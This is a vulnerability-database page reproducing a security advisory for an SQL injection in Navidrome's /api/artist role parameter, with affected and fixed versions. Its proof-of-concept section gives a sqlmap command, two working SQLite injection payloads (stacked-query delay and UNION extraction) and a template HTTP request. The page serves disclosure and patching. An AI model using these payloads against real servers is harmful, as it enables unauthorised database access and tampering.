CVE-2025-48949: Navidrome allows SQL Injection via role parameter
🛡 Security Advisory: SQL Injection Vulnerability in Navidrome v0.55.2 Overview This vulnerability arises due to improper input validation on the role parameter within the API endpoint /api/artist. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information.
Published May 29, 2025 · Updated May 30, 2025
Affected packages
github.com/navidrome/navidrome
- Ecosystem
- Go
- Affected
- >= 0.55.0, <= 0.55.2
- Fixed in
- 0.56.0
- Check
go list -m github.com/navidrome/navidrome
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
🛡 Security Advisory: SQL Injection Vulnerability in Navidrome v0.55.2
Overview
This vulnerability arises due to improper input validation on the `role` parameter within the API endpoint `/api/artist`. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information.
---
Details
- Vulnerable Component: API endpoint →
/api/artistParameter →role
- Vulnerability Type: SQL Injection (stacked queries, UNION queries)
- Database Affected: SQLite (confirmed exploitation via SQLite-specific payloads)
- Impact: Successful exploitation allows an unauthenticated attacker to:
- Execute arbitrary SQL commands
- Extract or manipulate sensitive data (e.g., user records, playlists)
- Potentially escalate privileges or disrupt service availability
---
Proof of Concept (PoC)
Example Exploit Command:
sqlmap.py -r navi --level 5 --risk 3 -a --banner --batch --tamper charencode --dbms sqliteSample Payloads:
- Stacked Queries:
http://navidrome/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist');SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))--- UNION-Based Query:
http://navidrome.local/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist') UNION ALL SELECT 92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,CHAR(113,98,118,98,113)||CHAR(113,84,86,119,114,71,106,104,90,118,120,104,79,66,104,108,121,106,70,68,90,113,104,117,67,98,113,67,103,84,71,120,119,119,117,121,81,76,100,71)||CHAR(113,120,112,106,113),92,92,92,92-- MtnyExample HTTP Request:
GET /api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist* HTTP/2
Host: <TARGET HOST>
Cookie: <REPLACE WITH VALID COOKIE>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: application/json
X-Nd-Authorization: <REPLACE WITH AUTH TOKEN>
X-Nd-Client-Unique-Id: <REPLACE WITH CLIENT ID>---
Credited to 4rdr.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-25578
Navidrome has XSS via comment from song metadata
medium6.1Feb 4, 2026CVE-2026-25579
Navidrome affected by Denial of Service and disk exhaustion via oversized `size` parameter in `/rest/getCoverArt` and `/share/img/<token>` endpoints
critical9.2Feb 4, 2026CVE-2025-48948
Navidrome Transcoding Permission Bypass Vulnerability Report
high7.4May 29, 2025CVE-2025-27112
Navidrome allows an authentication bypass in Subsonic API with non-existent username
medium6.9Feb 25, 2025CVE-2024-56362
Navidrome Stores JWT Secret in Plaintext in navidrome.db
high7.1Dec 23, 2024CVE-2024-47062
Navidrome has Multiple SQL Injections and ORM Leak
critical8.8Sep 20, 2024
